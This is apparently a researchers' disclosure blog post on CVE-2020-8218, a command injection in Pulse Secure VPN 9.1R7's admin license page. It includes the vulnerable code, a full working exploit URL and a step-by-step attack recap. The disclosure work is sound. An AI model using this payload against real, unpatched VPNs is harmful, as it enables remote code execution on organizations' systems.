During an engagement, we discovered a Pulse Secure SSL VPN running the version 9.1R7, which was the latest version available at the time. Many vulnerabilities had been found in previous versions of the VPN, so we were eager to see if we could find shortcomings of our own in the latest one. After some time, we did manage to find several new vulnerabilities that allow, among other things, an unauthenticated user to run arbitrary code remotely (RCE).
RCE Blog Post
The RCE itself (CVE-2020-8218) requires to be authenticated with admin privileges but can also be triggered by an unsuspecting admin simply clicking on a malicious link. All our findings were disclosed, but some have yet to be patched. Therefore, this blog post will only discuss the RCE, which Pulse Secure stated to have patched in version 9.1R8. We will release the details about the remaining vulnerabilities in a later blog post when they have been fixed or 90 days after disclosure.
RCE Blog Post
During an engagement, we discovered a Pulse Secure SSL VPN running the version 9.1R7, which was the latest version available at the time. Many vulnerabilities had been found in previous versions of the VPN, so we were eager to see if we could find shortcomings of our own in the latest one. After some time, we did manage to find several new vulnerabilities that allow, among other things, an unauthenticated user to run arbitrary code remotely (RCE). The RCE itself (CVE-2020-8218) requires to be authenticated with admin privileges but can also be triggered by an unsuspecting admin simply clicking on a malicious link. All our findings were disclosed, but some have yet to be patched. Therefore, this blog post will only discuss the RCE, which Pulse Secure stated to have patched in version 9.1R8. We will release the details about the remaining vulnerabilities in a later blog post when they have been fixed or 90 days after disclosure.

Technical Analysis

The vulnerability that led to the RCE is a command injection and can be found in the downloadlicenses.cgi file of the admin portal. Here is the exploitable code:

my $cmd;
if (DSLicense::isVLSImage() || DSLicense::isLicsFromPcls() || DSLicense::isEnabled($DSLicense::FT_mssp_core)) {
    $cmd = $ENV{'DSINSTALL'} . "/bin/dslicdownload -i -e /tmp/.download_err -o /dev/NULL -a $authCode";
    // ...
}
// ...
my $ret = system($cmd);
Since authCode is a parameter that we control and reaching that section of the code is trivial if we already have admin privileges, the vulnerability should be quite easy to exploit, right? Well, not quite. Pulse Secure added a lot of hardening to its applications. One protection it uses is to intercept dangerous function calls, such as system, and remove many special characters to make it safer. Luckily, previous work defeating a similar scenario was already well documented which made our task easier. From these previous findings and our own experiments, we came up with the following payload:

https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever%20-n%20%27($x=%22ls%20/%22,system$x)%3b%20%23%27%20-e%20/data/runtime/tmp/tt/setcookie.thtml.ttc

Once URL decoded:
https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever -n '($x="ls /",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc

The cmd parameter is required to reach the vulnerable code, while txtVLSAuthCode contains our desired payload. Once the payload is sent, we still need to access https://x.x.x.x/dana-na/auth/setcookie.cgi in order to execute our command. The following screenshot shows the result of a successful attack where we sent ls / as our command. We can see that the root directory content is listed in the response:

RCE Result
The payload is interesting and requires a bit of explanation. In the example, the binary dslicdownload accepts 2 important parameters: n and e. e dictates where the output will be sent to in case of an error, for instance if we send an incorrect AUTH code. Note that the code already specifies an e parameter, but we can change it by adding our own parameter at the end. Since the filesystem is mostly read-only, we chose to output our error message to a cache file (/data/runtime/tmp/tt/setcookie.thtml.ttc) because it is one of the few files that is writable. This is well explained by Orange Tsai if you need more details. Here is the error message when sent without the n parameter:

Failed to look up licensing hardware ID

Not very useful, right? This is where the n parameter comes into play. It changes the error message to:

Cluster node < n parameter goes here >:
Failed to look up licensing hardware ID

Writing syntactically valid Perl in this context is a bit tricky, but not impossible. Looking back at our payload, we see that the line becomes:

Perl Explained
This works thanks to the fact that, in Perl, packages, methods and their parameters can be separated with spaces. The Perl interpreter thinks Cluster is a method, node is a package, and everything inside the parentheses are the arguments. Of course, Cluster and node do not exist in this context so a runtime error is to be expected, but not before the arguments are resolved and our payload is executed.

To recap, here is a summary of what happens in a successful attack scenario:
 

  1. An attacker with admin privileges goes to the URL (decoded): https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever -n '($x="ls /",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc
  2. The URL parameter cmd is set to “download”, so we reach the vulnerable code.
  3. The URL parameter txtVLSAuthCode is then appended to the $cmd variable in the downloadlicenses.cgi file. $cmd becomes:
     
    $cmd = $ENV{'DSINSTALL'} . "/bin/dslicdownload -i -e /tmp/.download_err -o /dev/NULL -a whatever -n '($x="ls /",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc";
  4. $cmd is then executed as a shell command through the system function call a bit further into the code.
  5. The command line argument -e we added sets the error output file to /data/runtime/tmp/tt/setcookie.thtml.ttc.
  6. The command line argument -n sets the error output to:
     
    Cluster node ($x="ls /",system$x)#:
    Failed to look up licensing hardware ID

     
    This output is appended to the file we set with the -e argument.
  7. The attacker goes to the URL https://x.x.x.x/dana-na/auth/setcookie.cgi. The cache file we modified, along with our payload, is then executed. We successfully achieved remote code execution.

Conclusion

Hopefully, you found the payload and the vulnerability as interesting as we did. While it does require to be authenticated, the fact that it can be triggered by a simple phishing attack on the right victim should be evidence enough that this vulnerability is not to be ignored. As for the other vulnerabilities found, stay tuned for the second part of this blog post where we will reveal their details and the methodology that allowed us to find them. A presentation titled “Forget your Perimeter: From Phishing Email to Full VPN Compromise” is also in the works for our upcoming GoSec virtual conference.

Timeline

  • 2020-06-09: Discovery of the vulnerability
  • 2020-06-12: Vulnerability disclosed to Pulse Secure
  • 2020-07-29: New version released with fix

Researchers

  • Maxime Nadeau
  • Romain Carnus
  • Simon Nolet
  • Jean-Frédéric Gauron
  • Temuujin Darkhantsetseg
  • Julien Pineault

References

SA44516 – 2020-07: Security Bulletin: Multiple Vulnerabilities Resolved in Pulse Connect Secure / Pulse Policy Secure 9.1R8
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44516/?kA23Z000000L6i5SAC

Pin It on Pinterest

Share This